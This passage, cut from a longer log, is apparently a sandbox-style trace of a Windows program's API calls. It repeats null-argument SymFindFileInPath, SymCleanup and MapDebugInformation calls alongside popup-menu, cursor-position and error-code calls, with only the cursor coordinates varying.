hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.977] SymCleanup (hProcess=0x0) returned 0 [0218.977] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.977] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.977] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.977] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.978] GetLastError () returned 0x579 [0218.978] SetLastError (dwErrCode=0x579) [0218.978] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.978] SymCleanup (hProcess=0x0) returned 0 [0218.978] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.978] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.978] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.978] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.978] GetLastError () returned 0x579 [0218.978] SetLastError (dwErrCode=0x579) [0218.978] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.978] SymCleanup (hProcess=0x0) returned 0 [0218.978] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.978] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.978] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.978] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=540, param_4=164, param_5=0x0, param_6=0x0) returned 0 [0218.978] GetLastError () returned 0x579 [0218.978] SetLastError (dwErrCode=0x579) [0218.978] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.978] SymCleanup (hProcess=0x0) returned 0 [0218.978] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.978] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.978] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.979] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.979] GetLastError () returned 0x579 [0218.979] SetLastError (dwErrCode=0x579) [0218.979] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.979] SymCleanup (hProcess=0x0) returned 0 [0218.979] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.979] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.979] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.979] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.979] GetLastError () returned 0x579 [0218.979] SetLastError (dwErrCode=0x579) [0218.979] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.979] SymCleanup (hProcess=0x0) returned 0 [0218.979] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.979] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.979] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.979] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.979] GetLastError () returned 0x579 [0218.979] SetLastError (dwErrCode=0x579) [0218.979] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.979] SymCleanup (hProcess=0x0) returned 0 [0218.979] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.979] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.979] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.980] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.980] GetLastError () returned 0x579 [0218.980] SetLastError (dwErrCode=0x579) [0218.980] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.980] SymCleanup (hProcess=0x0) returned 0 [0218.980] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.980] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.980] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.980] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1367, param_4=712, param_5=0x0, param_6=0x0) returned 0 [0218.980] GetLastError () returned 0x579 [0218.980] SetLastError (dwErrCode=0x579) [0218.980] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.980] SymCleanup (hProcess=0x0) returned 0 [0218.980] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.980] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.980] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.980] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.980] GetLastError () returned 0x579 [0218.980] SetLastError (dwErrCode=0x579) [0218.980] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.980] SymCleanup (hProcess=0x0) returned 0 [0218.980] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.980] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.981] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.981] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.981] GetLastError () returned 0x579 [0218.981] SetLastError (dwErrCode=0x579) [0218.981] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.981] SymCleanup (hProcess=0x0) returned 0 [0218.981] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.981] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.981] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.981] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.981] GetLastError () returned 0x579 [0218.981] SetLastError (dwErrCode=0x579) [0218.981] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.981] SymCleanup (hProcess=0x0) returned 0 [0218.981] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.981] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.981] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.981] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.981] GetLastError () returned 0x579 [0218.981] SetLastError (dwErrCode=0x579) [0218.981] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.981] SymCleanup (hProcess=0x0) returned 0 [0218.982] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.982] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.982] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.982] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1210, param_4=206, param_5=0x0, param_6=0x0) returned 0 [0218.982] GetLastError () returned 0x579 [0218.982] SetLastError (dwErrCode=0x579) [0218.982] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.982] SymCleanup (hProcess=0x0) returned 0 [0218.982] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.982] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.982] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.982] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.982] GetLastError () returned 0x579 [0218.982] SetLastError (dwErrCode=0x579) [0218.982] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.982] SymCleanup (hProcess=0x0) returned 0 [0218.982] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.982] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.982] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.982] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.982] GetLastError () returned 0x579 [0218.983] SetLastError (dwErrCode=0x579) [0218.983] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.983] SymCleanup (hProcess=0x0) returned 0 [0218.983] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.983] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.983] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.983] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.983] GetLastError () returned 0x579 [0218.983] SetLastError (dwErrCode=0x579) [0218.983] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.983] SymCleanup (hProcess=0x0) returned 0 [0218.983] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.983] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.983] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.983] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.983] GetLastError () returned 0x579 [0218.983] SetLastError (dwErrCode=0x579) [0218.983] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.983] SymCleanup (hProcess=0x0) returned 0 [0218.983] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.983] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.983] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.984] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=565, param_4=528, param_5=0x0, param_6=0x0) returned 0 [0218.984] GetLastError () returned 0x579 [0218.984] SetLastError (dwErrCode=0x579) [0218.984] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.984] SymCleanup (hProcess=0x0) returned 0 [0218.984] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.984] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.984] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.984] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.984] GetLastError () returned 0x579 [0218.984] SetLastError (dwErrCode=0x579) [0218.984] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.984] SymCleanup (hProcess=0x0) returned 0 [0218.984] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.984] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.984] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.984] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.984] GetLastError () returned 0x579 [0218.984] SetLastError (dwErrCode=0x579) [0218.984] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.984] SymCleanup (hProcess=0x0) returned 0 [0218.984] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.985] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.985] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.985] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.985] GetLastError () returned 0x579 [0218.985] SetLastError (dwErrCode=0x579) [0218.985] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.985] SymCleanup (hProcess=0x0) returned 0 [0218.985] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.985] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.985] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.985] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.985] GetLastError () returned 0x579 [0218.985] SetLastError (dwErrCode=0x579) [0218.985] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.985] SymCleanup (hProcess=0x0) returned 0 [0218.985] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.985] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.985] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.985] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1380, param_4=13, param_5=0x0, param_6=0x0) returned 0 [0218.985] GetLastError () returned 0x579 [0218.985] SetLastError (dwErrCode=0x579) [0218.985] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.985] SymCleanup (hProcess=0x0) returned 0 [0218.986] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.986] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.986] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.986] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.986] GetLastError () returned 0x579 [0218.986] SetLastError (dwErrCode=0x579) [0218.986] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.986] SymCleanup (hProcess=0x0) returned 0 [0218.986] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.986] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.986] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.986] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0218.986] GetLastError () returned 0x579 [0218.986] SetLastError (dwErrCode=0x579) [0218.986] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.986] SymCleanup (hProcess=0x0) returned 0 [0218.986] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.986] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.986] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.986] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.986] GetLastError () returned 0x579 [0218.986] SetLastError (dwErrCode=0x579) [0218.986] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.987] SymCleanup (hProcess=0x0) returned 0 [0218.987] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.987] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.987] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.987] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.987] GetLastError () returned 0x579 [0218.987] SetLastError (dwErrCode=0x579) [0218.987] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.987] SymCleanup (hProcess=0x0) returned 0 [0218.987] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.987] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.987] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.987] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=795, param_4=421, param_5=0x0, param_6=0x0) returned 0 [0218.987] GetLastError () returned 0x579 [0218.987] SetLastError (dwErrCode=0x579) [0218.987] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.987] SymCleanup (hProcess=0x0) returned 0 [0218.987] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.987] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.987] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.987] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.987] GetLastError () returned 0x579 [0218.988] SetLastError (dwErrCode=0x579) [0218.988] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.988] SymCleanup (hProcess=0x0) returned 0 [0218.988] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.988] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.988] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.988] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.988] GetLastError () returned 0x579 [0218.988] SetLastError (dwErrCode=0x579) [0218.988] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.988] SymCleanup (hProcess=0x0) returned 0 [0218.988] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.988] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.988] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.988] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.988] GetLastError () returned 0x579 [0218.988] SetLastError (dwErrCode=0x579) [0218.988] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.988] SymCleanup (hProcess=0x0) returned 0 [0218.988] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.988] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.988] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.988] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.989] GetLastError () returned 0x579 [0218.989] SetLastError (dwErrCode=0x579) [0218.989] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.989] SymCleanup (hProcess=0x0) returned 0 [0218.989] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.989] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.989] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.989] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=616, param_4=670, param_5=0x0, param_6=0x0) returned 0 [0218.989] GetLastError () returned 0x579 [0218.989] SetLastError (dwErrCode=0x579) [0218.989] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.989] SymCleanup (hProcess=0x0) returned 0 [0218.989] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.989] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.989] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.989] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.989] GetLastError () returned 0x579 [0218.989] SetLastError (dwErrCode=0x579) [0218.989] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.989] SymCleanup (hProcess=0x0) returned 0 [0218.989] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.989] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.989] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.989] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.990] GetLastError () returned 0x579 [0218.990] SetLastError (dwErrCode=0x579) [0218.990] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.990] SymCleanup (hProcess=0x0) returned 0 [0218.990] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.990] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, 